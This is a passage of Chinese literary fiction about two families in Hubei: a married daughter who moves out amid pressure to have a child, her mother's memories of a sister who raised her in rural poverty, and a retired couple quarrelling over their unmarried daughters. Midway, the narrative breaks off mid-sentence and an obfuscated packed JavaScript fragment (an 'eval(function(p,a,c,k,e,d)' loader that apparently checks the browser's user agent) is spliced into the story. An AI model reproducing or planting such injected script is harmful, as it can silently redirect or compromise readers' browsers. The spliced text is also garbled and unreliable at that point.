“我是你的姆妈!未必我问一句都不行吧?”江群有点不耐烦了。 “我搬出来了,都搬出来个把月了。”赵秋很平静地回了江群。 电话那头传来一连串激烈地提问,赵秋推说骑车不方便,下次再说。最后在江群“你把车还留在那边了?”的声音中,赵秋挂了电话。 本地的习俗是在端午月过十五——农历五月十五,吃咸鸭蛋、皮蛋、清水粽子、芝麻糕、绿豆糕,嫁出去的女儿要带着姑爷给娘家亲戚送礼品,称“送茶”。现在年轻人大多嫌麻烦,老一辈的礼数还遵循着,只是没那么讲究了,有些不太拘礼的人家,用一提桔片爽、一箱八宝粥就打发了。赵秋倒是记得,她打算这周末就去送掉,再专门去乡下看爷爷奶奶,没想到江群还特地打电话来说了。 回到家里,洗了李子,看到餐桌花瓶里那两枝白百合已经掉了大半花瓣,她起身收拾好,回到沙发那边。杜雨发了图片过来,还是家里的小乌龟,还有家里新开的“卡萨布兰卡”百合。杜雨问她:“你打算什么时候去娘家送茶呢?我准备东西,到时候一起过去。”赵秋并没有回杜雨。 赵秋再接到电话是第二天,江群要她下了班直接去一间饭店的包间。江群在前一晚就打电话问杜雨他俩的情况,杜雨也说不出个所以然,那时他在自己爸妈那边吃饭,杜爸杜妈也就知道了赵秋搬出去的事。杜雨这个月来一直推说赵秋总是加班,太忙了,他是为了省事来爸妈这边吃饭。这下,到了不得不面对的时刻。 赵秋推开饭店包间的门,其他人都到了,几双眼睛都扫向她这边。她自然地落座,在圆桌的另一边,离每个人都很远,抬着头,等待着即将砸过来的问题。杜雨低着头不作声,再见面是被家里长辈推动的,他不希望是这样。 “你们结婚五年了,是该要个孩子了。你就为这事搬出去?又不是有什么不能商量。”江群板着脸对赵秋说道。 “你是这样说的?”赵秋看向杜雨。 “妈,我们,额……我和赵秋……嗯……”杜雨支支吾吾说着,并不敢看着江群。 “这事你们瞒着我们两边大人这么久,是打算瞒到几时?她不省人事,你也不省事?”江群不悦,问杜雨。 “亲家,是这样的,我们一直都还蛮顺着伢儿们的意思。他们当初要搬出去我们也赞成,年轻人嘛,有自己的空间是好事。这几年,我和他爸爸绝对没有催过他俩生伢,不可能有我们这边施加压力给杜雨,让他去传话给小秋。这杜雨也真是的,这长日子也不跟我们说。这回这事是我们不对,没有多关心他们小家庭,我向您这边先赔不是。有什么事都好商量的,关键我们也不晓得这两个娃到底是个什么想法。”杜妈给江群续茶,笑着说道。 “到底是什么情况,你怎么想的,你说呀。”杜妈推推杜雨。 “我只是觉得我和赵秋可以要一个孩子了。”杜雨回话。 江群和赵爸不知道说什么看向赵秋,杜爸杜妈看了眼杜雨又看向赵秋。 赵秋叹了口气,看着杜雨说:“你就只能说出这来?那你的意思是因为我不想生孩子,你想要孩子,所以我搬出去了?”杜雨想回话,嘴巴张开又闭上了。赵秋点了下头,提了口气又呼出气,她很想忍住,还是站起身说了:“这时候了你还逃避,不好意思面对屋里老的们,那你私下好好地找我诚恳地谈一次不行吗?一定什么事情都要别人推着你吗?我状态不好的时候你逃避、冷漠,我都从来都没有过这种想法,但是现在你这样,我真的觉得你好没用!你能逃避到几时?想离婚你就直接说好了,不要沉默地把什么都推给我。” “你在说什么话啊?”江群生气地要站起身,被赵爸拉住了。 “小秋,你不要激动,有什么你和我们说。”杜爸起身劝赵秋。 “我不想离婚。”杜雨小声说。 “当然咯,你是离婚都不敢主动提的人,什么都要别人推着的人。”赵秋不再看杜雨,转身要走。 江群喊住赵秋:“今天都来和你好好说话,你到底是怎么回事?你脾气怎么变成这样了?” 赵秋笑了一声,回道:“您几位昨天就沟通好了,两边都商量了见面,直接通知我把我拉过来,那怎么不问清楚杜雨我们到底是怎么回事呢?不就是觉得是我不想生孩子的问题吗?要我不要激动,说我脾气不好,都认定是我发疯了,我到这里还能说出个什么花来?他都不肯作声。”说完,为了不打扰他们吃饭,赵秋就离开了,江群一直在后面生气地喊她。赵爸拉住江群:“别说了,小秋下班过来,饭都没有吃。随她去吧。” 回去的路上,赵爸的车胎轧到了钉子。他抱怨着城南这边的路不好,总有人故意撒钉子,怀疑是附近维修厂搞的鬼。江群不想理会他,也不愿附和这没由来的猜测——他总是像个家里的局外人:你关心的是粮食和蔬菜,他在意千里之外不相干的战争。江群让赵爸把车送去维修,自己走回去。赵爸笑她怕是被赵秋气疯了,城南走回城东有七公里路。她只是摆摆手,不再言语,下车离开。 下了几天雨后,天没那么热了。本以为今年多个闰六月会更热些,天气却用意想不到的方式来表演。江群因为前两天睡觉没盖薄被有些感冒,不知该怪这乱来的天气,还是更年期过后身体渐差的自己。 城南新建了许多商场,街道和商店透着新气,连带着江群觉得自己走在一条希望大道上。她不理解赵秋为什么要放着好端端的日子不过,偏要让生活变得混乱。赵秋工作几年结婚后,江群本以为不用再操心大女儿。只要小女儿大学毕业争取考研去金陵,她再设法多联络金陵的伯父家,帮孩子谋份好工作,就算完成任务,这样才敢稍微放松些。赵秋现在的状态,让她这个做姆妈的很难过。 江群比她大姐江梅小四岁,她的人生曾与大姐紧紧相连。母亲生她时就走了,父亲在她十岁时病故。如今,她早已记不起父亲的面容,只记得他临终前急促的喘气声,以及最后望向她和姐姐的那一眼;她也不知如何想象母亲的样子。对她来说,江梅是个很好的姐姐,更是她的恩人——没有姐姐,她都不知道当初能不能活下来。 她们生活在水田乡,那里的日子是用无尽的劳动来抵抗无边的孤寂。江梅念书到了小学三年级,家里太困难了就没读了。父亲就靠做力气活和种田,尽力在供姐妹俩生活。父亲去世后,叔叔和婶婶偶尔接济,但乡下家家都苦实在是能力有限。在江群的记忆里,姐姐很能干,当然后来她才明白,能干都是没办法。人这一生,能有多少办法呢。 那时,江梅对江群说:“妹子,你要好好读书,学知识,我一定想办法把你供出去。”可她也只比妹妹大四岁。江梅曾打过妹妹——当妹妹念书成绩一般时,她拿笤帚追赶着打,却又在邻居指责妹妹“爷和娘都死了,姐姐供读书还不想办法把书读烂,你有资格玩吧?屋里又穷又没得着落,再不努力就真该死了”时,把妹妹拉回家。江梅抱着妹妹哭,说对不起她:“你不听外面的人瞎说,也不要觉得你比哪个差一些。那有年轻伢们不喜欢玩的?是我太怕了,怕帮不上你。你要是真没读出去,日子会和我一样苦,我只能是想办法以后让你嫁出水田乡,至少白田乡还有活路。”这时,江群会内疚地哭。 和姐姐在一起的日子,又苦又幸福。镇上运输站养着许多匹马运货,需要大量草料。江群放学了就和同村的同学们去拔草割草,窜在各个村子的田地里,割“胖根儿”草、抽野麦子——这些马儿爱吃的。拔草卖到搬运站做草料,每次能赚一毛钱。每天都要防着各家田主人的追打,他们总嫌这些孩子割草时会踩坏地里的庄稼 休息时,江群会跟着大姐在凌晨拖板车出去批发菜卖,她不放心大姐一个人。此前,江梅曾在凌晨拖菜回来的路上被小青年尾随,她很害怕又舍不得一车菜,碰巧看到前面有同样夜里做工的人,就开始大喊大叫吓走了那青年。此后,江群总是希望能帮姐姐多干活。 有一年暑假,江群从叔叔家借到了一辆破旧的自行车,打算去市里批发棒冰卖。村子里的老人笑话她:“这些都是村子里男青年和男孩子想到的活计,你一个姑娘伢能吃得起这亏?”江群觉得自己可以——姐姐能做那么多活,自己卖雪糕怎么会有姐姐累?江梅很支持她,给了她钱,只叮嘱她多向同村卖冰棒的同学打听情况,注意安全,去远处的村子别落单。 江群能借到自行车,是因为姐姐这些时日一直在帮叔叔家插秧。江汉平原的水稻是种两季,还会种一季小麦。暑假这时候就赶上最忙的“双抢”时节——割早稻、翻地、抽水、插晚稻秧,人与天地斗,与自己斗,无数的血汗隐入水田。 在无情的高温高湿的梅雨季、伏天里,江汉平原接住一批又一批她最虔诚的子民。俗文旧事里说米里有神仙,要敬重粮食。若真有神仙,那只会是这片土地的子民用自己的愿力、勤力、精力还有消失在水田里的泪迹供奉的。付出十倍力气换回一点收获的“天恩”,神是这些土地之子本身。 江群和同村已经卖棒冰的同学骑车去复州市里进货,批发六盒共一百二十颗棒冰,放在自行车后座的泡沫箱里。他们骑到比自己村子更偏更远的村子叫卖:“卖冰棒、卖棒冰、吃雪糕哦——”总会有孩子们跟着自行车跑,有钱没钱都跟着,也有大人买一两颗,还有孩子偷偷从家里拿几枚鸡蛋来换雪糕。叫卖一天下来,人热得要命,全身衣裳像是被暴雨撾过一样,能摎出水来。但江群是开心的——卖一颗棒冰能赚五分钱,全卖完能赚六元!也曾有单独一个人走村卖棒冰时,遇到男青年拿了棒冰就跑,她为了安全考虑,只能认栽。那个暑假苦吗?苦啊!但再苦也比姐姐在水田干活轻松。一个假期下来,她赚了近两百元的巨款。姐姐让她把钱自己存着,零花用一点,大头攒着念书。 妹妹没有考上高中,江梅四处打听出路。她不想妹妹断了继续读书的念想,绕了十八道弯打听到外地有学技术的中专,还专门跑去咨询;回来后,费劲力气托到人给江群改名字复读一年。第二年江群分数达线,去外地念了会计。江群原名是叫“江小妹”。 江梅曾因自己的名字和村里妇人吵架。妇人们说:“你这伢肯做事又有么用哟?命太歹了!‘梅’字苦哟,寒冬腊月的花呀,不好,冻死人哦!难怪克父母,以后怕是还要克子克夫,造业哦!”她气得恨不得耳朵都能冒烟熏死对面的老太婆:“克么事克?我先克死你这老不死的!老不羞,面皮比墙厚!你命好,你命最好,命好到来欺负我没了爹娘,和我比命好?我今日就把话放到这些:你要是嘴巴再七飞八甩,你屋里最好有人天天守到,反正这路上多的是砖头!你敢对我妹妹说这种闲话,我让你亲自去问我爷和娘,我克不克他们!”妇人们骂骂咧咧走了。 江梅想:梅花再不好也是红艳艳的花,再说梅花又香又好,有首歌不是唱着“山丹丹开花红艳艳”吗?我肯定能把日子过得都是红艳艳的光!有次她在市里富户家干杂活,听到东家的女儿名“琼”,东家太太说“琼”是美玉,就是看待女儿像宝贝玉石一样才起的这名。后来帮江群改名时,她想起了这事,想给小妹改“琼”。当时是手写登记,方言“琼”和“群”同音,“江琼”变“江群”。过了段时间,她知道后又跑了一趟,工作人员说:“您就别麻烦了,这都是一个读法,没关系的,‘群’还是拔群出萃的好意思,妹子以后能出头的。”这事也就算了了。 江群外地念书回来,在市里的纺织厂找了份文职,稳定下来。江梅心里可以呼出一口“总算是供出来了”的气了。妹妹不用在水田乡重复种地的命运,她也算对得起那可怜早死的爸妈。江群住厂里的宿舍,吃的食堂,休息时和同事去看电影,却更心疼姐姐——姐姐为了她,把结婚的事都捱迟了 江梅快要结婚时,江群把攒的钱给姐姐,被推掉了。江群给姐姐跪下,说:“姐姐是我的菩萨。” 江梅扶起她:“人只有需要的时候才拜菩萨,有用就是菩萨,没用就是一滩泥。我不是你的菩萨,我是你的姐姐,我们是同一个姆妈生的。我只希望你能找个好人家,有对你好的人。以后你成家了,把日子越过越好,和丈夫一起越走越高,离水田乡越远越好。你过得好,我的任务就完成了。” 江群伏在床上哭,江梅轻抚着她头发:“一分钱难倒英雄好汉,你把钱留好,你的心意我晓得,我屋里妹子心最善。以后要用钱的时候多得很啊。你要过年轻人的日子,出门玩、交朋友都要用钱。不要想那么多,好好过年轻人的日子,该上班上班,该玩就玩,该交朋友就交朋友。” “没有姐姐,我没有现在的日子……能不能活下来都两说!”江群哭到说话都使不上气。 “以后我就不重要了,你过好你自己的日子。我待你好,不是想要你觉得亏欠我、回报我,是不想你像我一样瞻前顾后讨生活。你过得好,我就功德圆满了,你不欠什么。我们都有自己的日子要过。” “你为了我把自己都耽误了,吃了好多苦。什么都不要我的,什么好都没讨到!”江群哭到无声,脖子上的筋绷得像要断掉。 “小妹,我是为了我自己,我们不要菩萨,我们是自己的菩萨。我成全我,你要成全你。我和谁过都能把日子过好的,你不要挂记我。你真的不欠我什么。” 江群工作后认识了单位运输部的赵爸,谈了场年轻人的恋爱,随后结,婚后婆家小姑帮江群换了家更好的厂子做事。赵爸英俊挺拔,轩然霞举,常有人问他家是不是边疆少数民族迁过来的,不然本地哪有面部像雪山般峻峭还身形高大的人。江群认为自由恋爱的自己是幸福的,丈夫幽默又体贴,她很满意。 江群身体不算好,个子也小小的。小时候家里条件差,姐姐什么都是紧着她,而姐姐自己个子更小。她结婚多年才怀上赵秋,此前偷偷哭过无数次——她知道丈夫每次去乡下都会和老人吵架,在这里,没有生养只能是女人的错。 生赵秋时是酷暑夜的半夜,人民医院那会偏偏停电了。医院发电机怎么也带不动设备,打电话向两公里外的分院协调,情况危急,医生让赵爸把附近商店的蜡烛全买来。那天,白色的长蜡烛点燃了整个走廊和产房。江群不敢相信怎么就如此巧,又明白世缘难料——不然为何自己小小年纪父母双亡?为何水田乡的人一代代像被诅咒一样重复着问天的命运?她想起姐姐说的话:要做自己的菩萨。她要相信能平安生下这个期待已久的孩子。她在心里祈祷:如果我撑住,上天会垂怜我吧! 分院紧急调来了发电机,赵秋平安出生。江群看着这个有着粉色的皮肤和浓密的头发的婴儿,觉得她真的好漂亮,不像别的新生儿皱巴巴。那时,她发愿要对这个孩子好,用一生守护这个娃。昏睡过去时,恍惚间,那些烛光点点的白蜡烛像一朵朵栀子花,夏天的栀子香伴着她。 此后十年,生活的细碎玻璃片总是折磨着她,膝盖仿佛总是血肉模糊。没生出儿子让每个人都可以对女人指责。她不明白,为什么连嫁出去的几个姑姐都能以丈夫姐姐的身份来“提点”她。她不喜欢赵秋的大姑妈,尽管知道大姑妈不是坏人,是个从白田乡嫁到水田乡的苦命人。 水田乡的姑娘谁不想嫁白田乡?大姑妈怎么就那么傻! 嫁到水田乡,搁到不好的人家,是要日夜做事的。 那时水田一年种两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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生了赵秋十年后,经中西医调理过多年的江群终于再次怀孕。孕期,赵秋的三个姑妈陪着她找熟人医生,医生看完点头示意,三个姑妈欣喜若狂,小姑一直在抹眼泪。大姑姐常提着新鲜蔬果、土鸡去来市里看她,放下东西叮嘱些话就走,也不肯留下吃饭。 一次,大姑妈又提着东西来,还有一张新的漂亮宝贝海报。江群很委屈,很想把无数的气撒出来。忍到大姑姐走后,她躺在床上,看着对面墙上发旧发白的“可爱男宝宝”海报,抚着自己的肚子,想着这个被期待着的、会被疼爱的、还没出生就被爷爷取名为“赵卓一”的孩子。她的头侧到一边,枕巾被浸湿了。 孩子出生后,爷爷拒绝来医院。赵秋在门口拉着小姑问:“能进去看弟弟吗?”小姑让大姑妈带赵秋出去,安排大姑买盒饭,自己则走到一边打电话给那个医生朋友,言语激动。 赵秋跟着姑妈们去乡下老家,埋头啃着甜瓜,听到大姑对爷爷奶奶说:“您二位也不要怪小雪了,这多年没见,她也不知道她那个医生朋友信佛了。人家本来就点个头没直说,现在怎么也怪不到别人府里。”甜瓜甜得发苦,赵秋喊奶奶,奶奶不耐烦地抓过她手里啃了一半的瓜,挖掉中间的瓤:“你这贪心搞么事?芯都不去肯定又甜又苦啊!” 赵秋的爷爷奶奶跟小姑回了江陵,奶奶继续给小姑家工厂食堂烧饭,爷爷如常接送小姑女儿心心上下学或帮忙工厂打杂,小姑每月给爷爷奶奶的钱加起来有八千多。 江群月子里,江梅从京城儿子那边回来看她。她看着孩子对姐姐说:“别人都嫌这伢不是儿子伢,我偏要把她当娇娇宝贝,好好培养她。我娃儿不比别个差,一定会前程似锦。姑娘伢一样能出状元郎,我肯定不会亏了我的伢。” 江梅回她:“是这个理。人家唱戏的就唱了女状元、女驸马,古往今来都有要强的女将,不比男将差。你先养好身体。” 赵秋的大姑妈带着她来给江群送鸡汤,江梅对着侄女笑了笑,扫了眼大姑妈没给好脸色。江群突然匍在姐姐身上哭起来,江梅只是轻轻拍着她,把叹息咽了回去。 这么多年过去,赵程锦都念大学了,江群始终记得那种屈辱和痛苦——就像人被掰开揉碎,你怎么也拼凑不起来。她好想找个人怪一怪,找不到,每个人都在说自己好苦、说自己没有坏心思。都没有坏心思,怎么就走到了这一步。 江群一直不明白为什么那么不喜大姑姐,对方明明算善良和本分,从白田乡嫁水田乡,累死累活,赌鬼老公不成器,那混蛋男的还抢劫犯事逃跑了,让妻子儿女过着辛苦的生活。赵秋的表妹萱萱和表弟伟伟,从小没少被同村孩子厌弃和欺负,周围大人也不让自家小孩和他们玩耍,被说“他爸是罪犯,是‘鬼打架’”。大姑姐养活这两个孩子不容易,婆家没有亲戚帮她,也从不麻烦娘家。萱萱高考后出了那档子倒霉事,伟伟身体不好,不知道大姑姐这些年是怎么熬过来的。 她想过,大姑姐没有什么错,自己同为女人,甚至会心疼她。那自己没来由的厌到底是什么?现在懂了——也许不是厌,是怕。她怕什么?怕厄运降临。小时候,同村的有些孩子欺负她,拿石子掷她,姐姐带着她去别人家里要说法,对方只是嫌恶地赶她们走,嫌她们是晦气本身。她记得那妇人对自己孩子的喊叫声“要你不要到她屋里附近,要你不要和她们玩,她们没有爷和姆妈”。 远离那些不幸的人就能远离不幸吗?不幸的人那么多,他们冒犯了过安稳日子人的人生?装作那些人不存在,命运就会放过自己?对别人的痛苦无动于衷,视而不见,会比较安全?江群不知道,甚至不愿意“知道”自己是个被生活日磨一日,充满焦虑和恐惧的女人。赵爸工作辛苦,却多年不上进,是因为家里没儿子吗?她不想深想。他们住着赵秋九岁那年搬进的老小区的老房子,小女儿程锦念书还有几年,多的是用钱的地方。她知道对不起赵秋——女儿工作后住家里,一直添置家里物品,逢年过节还给父母发红包。明明是年轻孩子,却那么节约,住家里时都没添过多少新衣服,说反正单位要穿工服,房子也是自己攒的钱买的,做父母的没舍得拿钱给她,觉得她会体谅父母,毕竟她是个善良孩子。江群在赵秋结婚的时候,也没有拿多少钱出来,想到这里,愈发觉得亏欠女儿,她想女儿是明白她的难处的,要是不明白也不会什么也不说,默默承受了这些。 走在路上,靠近城东街上越来越暗了。老城区怎么比得上新城区?旧事物终究赶不上新事物。江群想着,自己五十八了,还能再做几年事。千禧年后纺织厂效益不好下岗,她好不容易才找到小无纺布厂做工到退休,退休金一千出头。这几年无纺布厂子多,帮好几家厂子做代账,口碑做起来了,活也多了,有钱赚是幸事,身体吃不消也是真事。 从来是想像姐姐托举自己一样爱护女儿,可女儿的状态怎么过得像姐姐一样苦?她是哪里不满意的?又不是当年水田乡女人一样,明明没有婆家苛待,还有稳定体面的工作,丈夫性子也好,不是生孩子的问题那会是什么呢?她的脸为什么像自己当年生程锦时一样愤怒? 想到这些,这无望的人生,江群坐在路边樟树下哭起来。打扫落叶的环卫大姐望了下她,不好过去也没离开。刚下晚自习穿着修改了裤腿的校服、别着各式可爱发卡的几个高中女生边吃着买的炸串边走着,她们看到了路边的江群。一个妹妹拿着纸巾蹲下来递给她:“婆婆,婆婆你啷个回事哦?你要不要紧哦?”江群抬头,接过纸想说谢谢,拿到纸还是忍不住别过头控制着哭声,她不想自己年近花甲还如此不体面。几个女孩都围过来:“不要紧的,不哭了哦婆……伯母,不哭了哦,不要紧的。” 走到楼道,跺了几下脚后声控灯也不亮,江群摸着黑看着手机屏幕的光上楼,钥匙转了好久才开好门。丈夫已经熟睡,有着轻微的鼾声,因为自己年纪大了打鼾、起夜多,两人早已分房休息。 洗漱完拖好地、把衣服放到洗衣机里,卫生间窗子映出她的脸,“伢儿们喊我‘婆婆’,我已经这老了啊”。“赵秋那时候上学总是学习,也不打扮,她下晚自习有没有和朋友去逛一逛买吃的呢?”江群不再想,设置好洗衣机时间,换上卫生间门口发黄的塑胶拖鞋——走路时,鞋底会和黄色的旧瓷砖擦出“嘚、嘚、嘚”的响声。小区隔壁的老单位绿化好,夏夜的虫鸣让人梦回乡下,只是今夜,她又没法睡个整觉了。 12. 端午 你变成这样都是我害的? 胡允华最近偏头痛犯了,习惯午睡的她没法再午休——但凡睡一会儿,左边太阳穴疼痛就会加剧。退休后,她一度觉得日子过得很不是滋味,总要对自己催眠:“我有退休金拿,家庭稳定,两个女儿健康,父母高寿,弟弟妹妹日子也顺,命很好了,真的够好了。” 在药房工作了一辈子的她,近两年在一家工厂托管所再就业,是托了表妹朱宝珠的福。舅舅一家在夷陵,她很少能和表妹见到面。初中时,舅舅一家来喝喜酒,表妹开始和她留地址通信,后来就是家里安了电话,更方便年节时问候。同生于六十年代,表妹是独生女,这让胡允华很羡慕,她觉得或许这是表妹活泼乐观,不像自己总是冷淡哀愁的原因。 朱宝珠的女儿小航比石唯小两岁,在省城最好的医院当麻醉医生,已经结婚了,对方条件优越;儿子迅帆和石植同年,前几年乘着东风和时势来复州办无纺布厂,赚得盆满钵满。 迅帆放弃博士学业那年,朱宝珠的朋友圈仍发着四处游玩照片和自己写的文章。胡允华关心道:“迅帆的事怎么办?怎么好端端不读了?” “姐,没事的,随他去了。肯定不是好端端的不读了,说不定是受不了了。迅帆从小就有想法,性格刚直果断,我相信他有自己的打算。这时代怎么也有口饭吃,他健康开心就行了。” 至今有亲戚觉得可惜,提起来就说:“哎呀,迅帆博士读完当医生几好呀,明明是做手术的,现在成了做口罩的。”他自己倒是笑笑:“哎呀,您几位不要这样说嘛。我妈学医退休了现在帮我管杂务,我姨学医退休了帮我带员工孩子,没什么的,做啥都能发挥作用。” 那几年复州无纺布厂缺工,订单多如雪片乱飞,稳定工人却难寻。缝纫工人多为各年龄段的妇女,年轻嫂子居多,她们既要工作又要照看孩子。有公婆帮忙的还好,没帮手的只能就近找活。各个厂子为了留住工人,包午饭晚饭,有的还在下午放学后帮女工去幼儿园和小学接孩子到厂里,管晚饭。饭后孩子们一起写作业、玩耍,晚上各自坐在母亲的电动车后座回家。 迅帆为稳定用工,建了工厂食堂,装修了两间一楼房间做托管所,请了两位年轻老师。复州远房亲戚沾了不少他的光,年纪再大的也能到厂子里谋份打扫卫生的活,有稳定收入。大家都说迅帆会做生意,厂子根本不愁工人。胡允华那段时间状态不佳,朱宝珠每次打电话联系她都觉得她怏怏的,这样下去也不是办法。朱宝珠与迅帆商量后,迅帆请表姨吃饭,带她来厂子里参观,邀请胡允华来托管所工作——白天只有几个小小孩,主要照顾下午放学后的员工子女写作业,工作几个小时也不算太累。胡允华面皮薄,觉得很不好意思,她知道是表妹的好心,更麻烦这个热心的侄子,自觉这么多年因为距离远没有对表妹或侄子有多少关心和照顾,一下子要承这个情,总觉得不配。 迅帆说道:“华姨,你不要有负担,我认可您的专业能力。” “我药店退休的,带小孩哪有什么专业可言。” “您别觉得我还给您开工资是亏了。我妈说您年轻的时候还考保育员证,又有医学知识,带小孩责任很大,您要是肯来还是看重我呢,是我欠您的情!我是您的侄儿子,只怕自己亏了您,哪会觉得您来是麻烦我?姨妈,您就帮帮我吧。” 在迅帆厂里工作很开心,夏天孩子多,胡允华也不觉得他们吵闹。没退休时,她最烦夏天,白天上班和同事吵架,晚上回家蚊子多还要顶着老花眼赶着和蚊子“打架”。 有时她会想:宝珠命好,父母宠她如珠如宝,还生了两个好孩子。小航在江城当医生成家了;迅帆未成家,事业有成还帮衬一众亲戚。想到自家石植和石唯,胡允华更愁了。 端午临近,石植平时往家里寄东西就没停过,这次又寄了些杨梅和几套睡衣。 “石唯爱吃杨梅,植儿以为妹妹还和我们一起住吧?明天给石唯送些去。睡衣估计是植儿工厂跟着客户订单做的。她不是说前几年好些日本客户的公司倒闭了吗?现在服装生意难做,也不知道她公司单子多不多。”胡允华把杨梅放冰箱,清出亚麻睡衣准备过水洗晾。 石爸的老花眼镜滑到他的鼻尖,他靠在沙发上,抿着嘴,唇周紧绷,脖子僵直地低头划着手机看短视频,头也不抬地敷衍着回胡允华:“明天去你老屋看石唯?她过节都不打电话问候我们,我们还赶着去看她?一去老屋,村子里的亲邻又喜欢跑过来问闲话,我们是过得蛮好吗?要去您自己去,我是不上赶着去的。” “这杨梅是空运过来的,又不经放,伢姐姐晓得她喜欢吃寄的,送过去怕谁找你说闲话?你不要太把自己当回事,谁家没自己日子要过□□屋里的闲心?再说你家姑娘是犯了什么法吗?到底你怕别人说什么?”胡允华觉得丈夫退休后越来越讨人嫌了。 石爸把手机甩到一边,正充着电连着线的手机充电头从墙上的插座孔里掉出来,他盯着胡允华:“姑娘伢?真是了不起哦,三十一二岁的姑娘伢!上的班是‘狗肉上不了筵席’,之前谈的那个朋友我就不提了,未必近视600度还影响判断力吧?眼盲心不能瞎啊!我们石家算是倒了八辈子血霉,她找的那男的就是个缩头的花脚乌龟!我都不知道要怪她识人不明、心里不净白,还是怪我不配当爹,把伢养成这样。” 胡允华丢下装睡衣的脸盆,质问石爸:“你什么意思?她啷个搞了?犯了什么法啊?你明显是话里有话,是真觉得自己不配当爹还是讽刺我不配当妈?” “就是你做姆妈的不操心,这孩子的人生算是废了,废了!”石爸捡起地上的充电器,把线卷好,丢到茶几上。 “她现在能果腹,果住自己的嘴,有手艺有饭吃能养活自己,哪里废了?随便结婚、操持家里、手心向上还要被人轻视说是吃闲饭,才是废了心志!生儿育女辛苦,还要被说不操心害了子女,被污蔑把孩子养废了,这才是真的废了!”胡允华想起了九十年代自己下岗的那几年。 “你还是老观念,想着嫁出去的女儿泼出去的水,就是看她俩是女孩,想着责任转移。怎么样?你屋的娃是什么物件吧?买定离手?在家你要负责,嫁出去就是别个男的管?老子鬼门关抢回来的娃凭什么被你轻视不当人,我的娃是人、是活人,不是什么买定离手的东西。”胡允华一口气说不完,哽了下继续说,“你现在把老子逼死也改变不了什么了。不想着自己能帮到孩子什么,只会逃避还怪别人,你是舒服日子过惯了,以自我为中心成自然了。” 石爸哼了一声:“我看她每天吃得好睡得好,也不便秘,一点心都没有操。看这样子也没有要嫁人的意思。她的技术和手艺是能有什么稳定工作,旱涝保收一辈子?她又不是公务员。这世道不求稳求什么?” “什么世道?什么世道?你也知道世道翻脸快,什么世道能让自己稳定的都是自己的决心和能力。” “她没考公务员,考不上公务员就是没能力。你不要和我扯这多了。我现在还活着就说一下她,哪天我们不在了,看她怎么过日子!” 胡允华气笑了:“唉哟,你是什么不得了的人物哦!谁离了谁都能活。你不要太高看自己低看别人哦,我也懒得和你扯。你是为两个孩子辛苦打拼了还是什么?舒服日子过了多少年了?要是我生石唯是儿子,你还会这样吗?” 石爸气得站起来,激动地喊道:“我没管这两个?他们俩和别人家的败家儿子又有什么区别?前些年这两个瞒着我们做生意,亏得像讨米佬,我不是十万十万地贴他们?石唯碰到了个活见鬼的男的;石植是熬出来了,她现在有钱了,但你把她生的……我的大儿这生都成不了家了!我们死了她就没家了!” 胡允华听到这里崩溃了,瘫坐在地上嚎哭起来,她也觉得对不起石植,但孩子这样真的是她的错吗? 门被敲得梆梆响,石爸拿起手机叹着长气进书房锁了门。胡允华用手揩掉眼泪起身开门,门外是对门的阿琳和儿子苗苗。阿琳在迅帆的工厂做纺织工,外地姑娘嫁过来,丈夫经常出差,没有婆婆帮忙带娃,不满三岁的苗苗白天都是在工厂的托育所。胡允华觉得这个小姑娘蛮不容易的,比小女儿还小几岁,又是对门邻居,对苗苗很是关照,有时候阿琳要加班,她还会把苗苗先带回家吃晚饭,等阿琳回来了再送回。 阿琳听到胡家争吵和摔东西的声音。她和胡阿姨的丈夫打过几次照面,教师退休,人看着黑黑壮壮很凶相,总是对苗苗很亲切。上次在家,苗苗提起在胡奶奶家玩,说了什么“排骨、石爷爷、架、打……”两岁多的娃,表达的也不是很清楚。这次争吵厉害,阿琳怕胡阿姨是被家暴了。 阿琳关切地询问,胡允华挤着笑说着没事,怪不好意思的,家里有点吵影响到了他们,别吓着孩子了。阿琳确认胡允华安全后安慰了几句,带着苗苗和她告别,让她有事随时叫自己。 胡允华进门坐到沙发上,双手捂脸痛哭。太不体面了!自己六十岁的人了,怎么能被看到这样!她知道阿琳不会到处讲,还是觉得自己很可悲:日子是怎么过成这样的?那次石爸陪苗苗玩,在地板上扮大马给孩子骑,孩子跟着他喊“哒哒哒、驾驾驾”,她跟着一老一小一起笑着,心想丈夫是很喜欢小孩子的,就像她一样。只是丈夫从来比她耐心,女儿们小时候都是爸爸陪,曾和爸爸感情很好。石植不会有孩子,她觉得对不起女儿。看丈夫陪苗苗玩,有一瞬她想:老石是喜欢小孩子,还是想要孙子?她不想为难自己去想,觉得这样太可悲也太不体面了——六十岁的人了,该放过自己,不能像三十岁时候一样,想着如果石唯是儿子,一切会不会不一样。 次日周五一大早,胡允华和丈夫到了渡口村。 石唯看到爸妈主动过来很吃惊:“您二位怎么这么早过来了?吃早饭了吗?我去菜市场给你们带点过早回来。怎么不提前说一声?” “我们过来还需要你批准吧?还不是你姐姐端午寄了东西,我们要拿给你一啲尕(一点点)啊。这杨梅你接到。”胡允华把手里的杨梅篮子摆过去。 石唯低着身子连忙接住:“妈,您慢点甩。我不是那个意思,你们要过来提前说,我好买菜啊,我自己吃就是菜园子的东西对付下。” 堂屋传来石爸的声音:“有没有开水?我要泡茶。” 石唯小跑着去饮水机那边按下烧水键,让石爸稍等。 胡允华进石唯房间看了看,说:“家里打理得还是挺干净。不过你这个睡衣怎么回事?前领口软塌塌,像敞着一样,是不是穿好几年了?你要讲究点,买身睡衣不要多少钱吧?不要太邋遢,没钱买我给你出钱行吧?” “您别每次见到我就想方设法挑刺,我这就去菜市场买菜。”石唯把杨梅放进饭厅的冰箱里。 “你怎么睡在后面的房间?挨着饭厅和卫生间是方便,但听不见前面动静啊。要是今天你没起早,我和你爸喊再久也穿不过堂屋、长廊和天井传到你耳朵里。你换到前面大房间去睡,安全些。”胡允华扫了眼石唯的工作台,又打衣柜,“也不添几件新衣服,裙子都没两件,全是些黑灰的沉闷颜色。以前谈恋爱还有几件亮色……”意识到说错话了,她马上打住。 “妈,我去买菜了。您看想吃热干面还是汤面,我去问爸要吃什么。”石唯只想快点离开。 胡允华叫住她,说一起去买菜,还说他们来了就不用她烧午饭,石爸做饭就行。 